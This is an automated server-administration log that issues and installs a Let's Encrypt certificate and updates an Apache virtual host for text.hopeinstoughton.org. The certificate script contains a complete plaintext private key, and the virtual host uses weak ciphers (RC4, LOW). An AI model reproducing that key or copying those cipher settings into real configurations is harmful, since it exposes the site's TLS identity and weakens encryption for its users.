MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-13 13:20:21: Establishing a connection
2026-02-13 13:20:21: Establishing a connection
2026-02-13 13:20:21: 

PUT: /tmp/pkp440601

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_text/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-13 13:20:21: 

chmod 755 /tmp/pkp440601; /tmp/pkp440601; rm /tmp/pkp440601

2026-02-13 13:20:21: 


1


2026-02-13 13:20:23: Establishing a connection
2026-02-13 13:20:23: 

PUT: /tmp/pkp698178

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cat > KU_u2XZ8vzMbYeIdc_lajPacEm_arY_wSvWhTvpsM0Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KU_u2XZ8vzMbYeIdc_lajPacEm_arY_wSvWhTvpsM0Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KU_u2XZ8vzMbYeIdc_lajPacEm_arY_wSvWhTvpsM0Y
cat > 1YcXeJ-vwUEltk3Mj5AmVA3B9i29BspK75HWO6RUFNU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1YcXeJ-vwUEltk3Mj5AmVA3B9i29BspK75HWO6RUFNU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1YcXeJ-vwUEltk3Mj5AmVA3B9i29BspK75HWO6RUFNU


2026-02-13 13:20:23: 

chmod 755 /tmp/pkp698178; /tmp/pkp698178; rm /tmp/pkp698178

2026-02-13 13:20:23: 




2026-02-13 13:20:32: Establishing a connection
2026-02-13 13:20:32: 

PUT: /tmp/pkp957206

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
rm KU_u2XZ8vzMbYeIdc_lajPacEm_arY_wSvWhTvpsM0Y
rm 1YcXeJ-vwUEltk3Mj5AmVA3B9i29BspK75HWO6RUFNU


2026-02-13 13:20:32: 

chmod 755 /tmp/pkp957206; /tmp/pkp957206; rm /tmp/pkp957206

2026-02-13 13:20:32: 




2026-02-13 13:20:32: Establishing a connection
2026-02-13 13:20:32: 

PUT: /tmp/pkp546838

#!/bin/bash
temp_file=$(mktemp)
TARGET=94911c6cf6fdc3591c65d93ede1a6ecb.crt

cat > $temp_file <<'endmsg'
22:e7:39:e1:6d:c9:e7:ed:fa:fa:93:c6:20:86:c5:8e

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBbJdzErWlnjKbyBpXO/K8xVUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjEzMTIyMjAxWhcNMjYwNTE0MTIyMjAwWjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDgO5HxbYl7vaTlm6N+C2rk0pHz+Oe8s2ogw78qoS80yIl8QqT3
jI8T26RRrL+b/MHhv/0LRCZ7EuE94V//hgz6cAjT+iBBM0A6xJPQpgs5cDWDBN15
15dfYbAlT9rBLHKSrghu3caqfXCltYLd93ZYhRUK3nShmp+ReU42DAOiiZY64xYh
LiPW5pZEVS+pjFigtIWk6XKo5a3ioqneXyAFmDTjfiGRlY2WKhSKP/7FZlKj9mnY
aVIUaWf58kOHvE/3lDGl1V1P2UwOpglexoyCy6isj1xC7sduUU2bEJEI+NNmi9BK
mKa/ibeCW6tTGFy3K2OxxxRJjJC+3R34wHtlAgMBAAGjggI9MIICOTAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUm+a0Id9FM/mwqWK2ukuwK6647oAwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzA8BgNVHREENTAzghdzbXMuaG9wZWluc3RvdWdodG9u
Lm9yZ4IYdGV4dC5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODUu
Y3JsMIIBCgYKKwYBBAHWeQIEAgSB+wSB+AD2AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj
0IdL9gQpJ/jnHzMT9foAAAGcVykCnwAABAMARjBEAiBvx4FasP8EZFsitZyCRGqy
F3h5ACK72OTBWazvax1KcwIgMyj7cmP2QLue71XtidQSJZz8nkIdURRkULuJNk9c
DCQAfQAai51pSleYyJmgyoi99I/AtFZgzMNgDR9x9Gn/x9GsowAAAZxXKQP8AAgA
AAUARzHNqQQDAEYwRAIgebdl+bKOyl5dkn1e64tgwEIQjHu+/5ay+PLJ8GwOC4cC
IDGLXrh9kN/RDTCEtF2msQuMul8T64x+LpKZkbtQCTaQMA0GCSqGSIb3DQEBCwUA
A4IBAQACKkv+TGzSdXdJkuDzE2kA4lZr4g2EBIZ5AyHM88rLIQdwjiGMXDU69Q8F
FhFJHjMIUJOqYmbRu13+mu6NNSZhcBYP6O0wM3s9O73Btz85wnHJemOJ3fB7P/zf
H+CFTyqcZTjrNICypm7xyjp12TTfBu+qS0WOHm7hDnm52UgYGK/CeMrymy2LTN8y
vq4D+bGlGFy4/xLbMHS76k6AjTIrohI0Qi/X95tUXxt3viIJe7MrJhXIOixDlEJy
7YCKk+b1xdlmekZzrZE8r7rM9XSx1b9pXt3K/rZyR0f0SAZS4xcPGVIsUNpwh6GP
VR1zHNrVOJppB6iOjkUp+Z8MSWx0
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDgO5HxbYl7vaTl
m6N+C2rk0pHz+Oe8s2ogw78qoS80yIl8QqT3jI8T26RRrL+b/MHhv/0LRCZ7EuE9
4V//hgz6cAjT+iBBM0A6xJPQpgs5cDWDBN1515dfYbAlT9rBLHKSrghu3caqfXCl
tYLd93ZYhRUK3nShmp+ReU42DAOiiZY64xYhLiPW5pZEVS+pjFigtIWk6XKo5a3i
oqneXyAFmDTjfiGRlY2WKhSKP/7FZlKj9mnYaVIUaWf58kOHvE/3lDGl1V1P2UwO
pglexoyCy6isj1xC7sduUU2bEJEI+NNmi9BKmKa/ibeCW6tTGFy3K2OxxxRJjJC+
3R34wHtlAgMBAAECggEAPAcmgEvTINm5kbAzOfSDhsNqSDZrj0Q2lpPgkuB4mzhO
OgI7WHv795R2rljBKNim7LDxZHk3lf4NZ3v0r5qq0cZ5Tooo5Vt7h+AFNDenTJah
9LOyOMKC5wlnVu3EQa+M8oB9iHR9kTmolOv9Hz/2oibqZbD85yBWNGMVkXlw5atQ
Sg42f4zfVO2enyhIPDo2NzL0RKZUUldlVvSRHbm4LS7wYCGlGgBytRrsAP2eonXz
5gLLq4EucslgjK5Es+Qh/toV81BYh4JbSCirgWvOAglXb7sOu7EFZ0at+q93ZR/E
4vFmtNs+p1vgPz9yCpdqQOz4g6rJYHyExSccTXeMRwKBgQD0ndwurNUbzk/yLDCv
MTlmdVZw/tBdK3/Q4AjxWiYQy6pKO0l4zwNIEkGySDvouMGyqtQqku0QVeRumYIj
p73HOkapUGhm3K04UEjZ7Bd26igpiJVgMkWjrlm4A+uKVaqqz3cAmHSAbWWaaBW/
nkOWWzTiYJ+3ps7Ol7rWGgP3WwKBgQDqqt/ONRh83PBTo+TN6gHEZbOjYYu8oBQi
RU6FyPVZZWkGI5kgGB7T/izQ8zSlC2qGEugiTZBdUpMFU4b2PGPM8o9/BLzgCh2C
tiR1Z8tOJ7PxDhjAUvBQwL8echy+jTRgEjUKq7qd454YyCCt2GYDZc00cngPMAC1
Jjz/lTKUPwKBgA66eols6p/z+ihQtNW3lwcuRXgkP5N8jQOcma0+ilA0kxpJG5Fk
lYP/ZWlApCrNBQym8INnuVJkeY6XO5i9/tVCEwMazk5zNxLO8rP8XSVRz/1ANg5G
uJ60Xr6Prdz0b4Q9XaLxiwI4lAeKANU6yEMDVtnSi4tZRdZ2mE9P3bFFAoGAKcL1
B059qCLthgUBv/9oBxqOSIIgixX13090NOzZdOpOMXB+XK7ONa3jLeBKOyD3+Ro+
Q3SIP4NldKozt3hxzlRQYytlrX0/WTau8FHjZWo9ZKW8k+VurQBQQsvN/79DVeGH
nPmIwXZzeTeMUUPUi8A/L5k7coB5b8N5UYastKMCgYEA49vxdLYIC/Wvj80TdiF5
GZ1xOsGvMYvzhSR4ym6lalbLhbeUX34axDOL9xsQAxn0y6sw6/jjQQhGWLTpnA0r
6oF7xZ6E9G5MXTj/qcJpOJRDQ0mPHJogqGH1Lr4NGvz/BfMyLN7VVobUdHmgF72K
WylXdqh40YGovEhbbJG6m6M=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-13 13:20:32: 

chmod 755 /tmp/pkp546838; /tmp/pkp546838; rm /tmp/pkp546838

2026-02-13 13:20:32: 


dir=/etc/ssl/certs


2026-02-13 13:20:32: 

PUT: /tmp/pkp735277

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-13 13:20:32: 

chmod 755 /tmp/pkp735277; /tmp/pkp735277; rm /tmp/pkp735277

2026-02-13 13:20:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 58

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-13 13:20:32: 

PUT: /tmp/pkp199787

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_text_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf= 1'
fi


2026-02-13 13:20:32: 

chmod 755 /tmp/pkp199787; /tmp/pkp199787; rm /tmp/pkp199787

2026-02-13 13:20:32: 




2026-02-13 13:20:32: 

PUT: /tmp/pkp377309

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-13 13:20:32: 

chmod 755 /tmp/pkp377309; /tmp/pkp377309; rm /tmp/pkp377309

2026-02-13 13:20:32: 


.


2026-02-13 13:20:32: Establishing a connection
2026-02-13 13:20:33: 

PUT: /tmp/pkp555750

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-13 13:20:33: 

chmod 755 /tmp/pkp555750; /tmp/pkp555750; rm /tmp/pkp555750

2026-02-13 13:20:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-13 13:20:33: 

PUT: /tmp/pkp234749

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-13 13:20:33: 

chmod 755 /tmp/pkp234749; /tmp/pkp234749; rm /tmp/pkp234749

2026-02-13 13:20:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf	1461

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
